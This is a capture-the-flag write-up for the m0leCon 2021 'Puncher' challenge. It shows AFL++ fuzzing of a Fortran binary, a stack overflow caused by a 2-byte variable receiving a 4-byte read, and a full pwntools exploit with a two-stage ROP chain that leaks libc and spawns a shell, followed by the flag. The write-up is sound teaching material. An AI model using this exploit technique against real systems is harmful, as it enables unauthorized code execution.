[Link to original writeup](https://wrecktheline.com/writeups/m0lecon-2021/#puncher)
# Puncher - (10 solves, 332 points)by tcode2k16
```We're back in the 60s!
nc challs.m0lecon.it 2637
Author: Alberto247```
The challenge provides three files: a Fortran program `chall.f90`, the compiled binary `puncher`, and the Fortran runtime library `libgfortran.so.5`.
Since I'm not very familiar with Fortran the programming language, I decided to just throw the binary into [afl++](https://github.com/AFLplusplus/AFLplusplus) using [qemu mode](https://github.com/AFLplusplus/AFLplusplus/tree/stable/qemu_mode) and see if it can find any crashes:
```# AFL_PRELOAD=./libgfortran.so.5 ./afl-fuzz -Q -i ./input/ -o ./output/ -- ./puncher
               american fuzzy lop ++3.13a (default) [fast] {0}┌─ process timing ────────────────────────────────────┬─ overall results ────┐│        run time : 0 days, 0 hrs, 0 min, 57 sec      │  cycles done : 0     ││   last new path : 0 days, 0 hrs, 0 min, 8 sec       │  total paths : 56    ││ last uniq crash : 0 days, 0 hrs, 0 min, 2 sec       │ uniq crashes : 1     ││  last uniq hang : none seen yet                     │   uniq hangs : 0     │├─ cycle progress ───────────────────┬─ map coverage ─┴──────────────────────┤│  now processing : 0.0 (0.0%)       │    map density : 0.23% / 0.33%        ││ paths timed out : 0 (0.00%)        │ count coverage : 3.19 bits/tuple      │├─ stage progress ───────────────────┼─ findings in depth ───────────────────┤│  now trying : havoc                │ favored paths : 1 (1.79%)             ││ stage execs : 8226/32.8k (25.10%)  │  new edges on : 31 (55.36%)           ││ total execs : 10.2k                │ total crashes : 1 (1 unique)          ││  exec speed : 153.3/sec            │  total tmouts : 2 (2 unique)          │├─ fuzzing strategy yields ──────────┴───────────────┬─ path geometry ───────┤│   bit flips : disabled (default, enable with -D)   │    levels : 2         ││  byte flips : disabled (default, enable with -D)   │   pending : 56        ││ arithmetics : disabled (default, enable with -D)   │  pend fav : 1         ││  known ints : disabled (default, enable with -D)   │ own finds : 55        ││  dictionary : n/a                                  │  imported : 0         ││havoc/splice : 0/0, 0/0                             │ stability : 100.00%   ││py/custom/rq : unused, unused, unused, unused       ├───────────────────────┘│    trim/eff : 0.00%/1, disabled                    │          [cpu000: 62%]└────────────────────────────────────────────────────┘
```
The results are better than I expected and AFL found a crash in no time. I then used `afl-tmin` to get a minimized test case to look at:
```# AFL_PRELOAD=./libgfortran.so.5 ./afl-tmin -Q -i ./output/default/crashes/id\:000000\,sig\:11\,sr\:000000\,time\:54754\,op\:havoc\,rep\:2 -o crash-min -- ./puncher# cat crash-min 101000000```
And sure enough, entering the same input leads to a crash:
```──────────────────────────────────────────────────────────────────────────── stack ────0x00007fffffffd258│+0x0000: 0x2020202020202020	← $rsp0x00007fffffffd260│+0x0008: 0x20202020202020200x00007fffffffd268│+0x0010: 0x20202020202020200x00007fffffffd270│+0x0018: 0x20202020202020200x00007fffffffd278│+0x0020: 0x20202020202020200x00007fffffffd280│+0x0028: 0x20202020202020200x00007fffffffd288│+0x0030: 0x00007fffffff2020  →  0x00000000000000000x00007fffffffd290│+0x0038: 0x00000001fffffffe────────────────────────────────────────────────────────────────────── code:x86:64 ────     0x401f89 <MAIN__+377>     add    rsp, 0x268     0x401f90 <MAIN__+384>     pop    rbx     0x401f91 <MAIN__+385>     pop    rbp →   0x401f92 <MAIN__+386>     ret    [!] Cannot disassemble from $PC────────────────────────────────────────────────────────────────────────── threads ────[#0] Id 1, Name: "puncher", stopped 0x401f92 in MAIN__ (), reason: SIGSEGV──────────────────────────────────────────────────────────────────────────── trace ────[#0] 0x401f92 → MAIN__()───────────────────────────────────────────────────────────────────────────────────────gef➤  ```
The gdb output suggests that the crash is caused by some sort of stack overflow which is perfect for us to exploit.
Now going back to the Fortran source code, we can quickly spot the issue:
```fortranPROGRAM puncher  ...  INTEGER(2) :: A,B, C  ...  CALL readInt(B)  ...END PROGRAM
SUBROUTINE readInt(I)  read(*,*) IEND SUBROUTINE```
```c__int64 __fastcall readint_(__int64 a1){  int v2; // [rsp+10h] [rbp-210h]  int v3; // [rsp+14h] [rbp-20Ch]  const char *v4; // [rsp+18h] [rbp-208h]  int v5; // [rsp+20h] [rbp-200h]
  v4 = "chall.f90";  v5 = 27;  v2 = 128;  v3 = 5;  _gfortran_st_read((__int64)&v2;;  _gfortran_transfer_integer(&v2, a1, 4LL);  return _gfortran_st_read_done(&v2;;}```
The `readint_`  function is reading 4 bytes into the stack variable `B` which only has a size of 2 bytes. The 2 extra bytes overwrite variable `A` which is next to `B`.
```fortranPROGRAM puncher  ...  DO C=1,B    ...    CALL readString(X, A)    ...  END DOEND PROGRAM
SUBROUTINE readstring(S,L)  INTEGER(2)	:: L  CHARACTER(len=L) :: S  read(*,"(A)") SEND SUBROUTINE```
And since `A` is used to determine how many bytes to read into `X`, we can get a stack-based overflow from it.
```gef➤  checksec[+] checksec for '/home/alanc/CTF/2021/m0lecon/Puncher/puncher/puncher'Canary                        : ✘ NX                            : ✓ PIE                           : ✘ Fortify                       : ✘ RelRO                         : Partial```
There's no PIE enabled on the binary so we are able to craft ROP chains to get code execution. My exploit includes two stages:
- stage one leaks the libc base address from the `__libc_start_main`  entry in GOT by reusing the convenient `print_card_` method - stage two call `system("/bin/sh")` to get shell
The full exploit code is as follows:
```pythonfrom pwn import *import sysfrom hashlib import sha256
argv = sys.argv
DEBUG = TrueBINARY = './puncher'
context.binary = BINARYcontext.terminal = ['kitty', '@', 'new-window', 'bash', '-c']
def attach_gdb():  gdb.attach(sh)
if DEBUG:  context.log_level = 'debug'
if len(argv) < 2:  stdout = process.PTY  stdin = process.PTY
  sh = process(BINARY, stdout=stdout, stdin=stdin)
  if DEBUG:    attach_gdb()
  REMOTE = Falseelse:  sh = remote('challs.m0lecon.it', 2637)  data = sh.recvuntil('.\n')  data = data.split(' ')  prefix = data[6]  goal = data[-1][:-2]  print prefix  print goal  i = 0  while True:    v = sha256((prefix+str(i))).hexdigest()    # print(v)    if v[-5:] == goal:      print(prefix+str(i))      sh.sendline(prefix+str(i))      break    i += 1  REMOTE = True
print_card_addr = 0x4016A2main_addr = 0x401F93libc_start_main_got = 0x0000000000404ff8
# 0x0000000000402033: pop rdi; ret; pop_rdi = 0x0000000000402033# 0x0000000000402031: pop rsi; pop r15; ret; pop_rsi_r15 = 0x0000000000402031
# stage 1
payload = 'a'*64payload += p16(1)*20payload += flat(  pop_rdi, libc_start_main_got,  pop_rsi_r15, libc_start_main_got, libc_start_main_got,  print_card_addr,  main_addr)
sh.sendlineafter('?\n', str(0xfa0001))sh.sendlineafter('1\n', payload)
sh.recvuntil('___/\n') # ignore
data = sh.recvuntil('___/\n')data = data.strip().split('\n')[2]
libc_base = u64(data[2:10])- 0x1fc0-0x25000system_addr = libc_base + 0x55410bin_sh_addr = libc_base + 0x1b75aaprint hex(libc_base)
# stage 2
payload = 'a'*64payload += p16(1)*20payload += flat(  pop_rdi, bin_sh_addr,  system_addr)
sh.sendlineafter('?\n', str(0xfa0001))sh.sendlineafter('1\n', payload)
sh.interactive()```
flag: `ptm{R3t_t0_l1b_gf0rtr4n_1s_much_b3tter_th4n_ret_2_l1bc!}`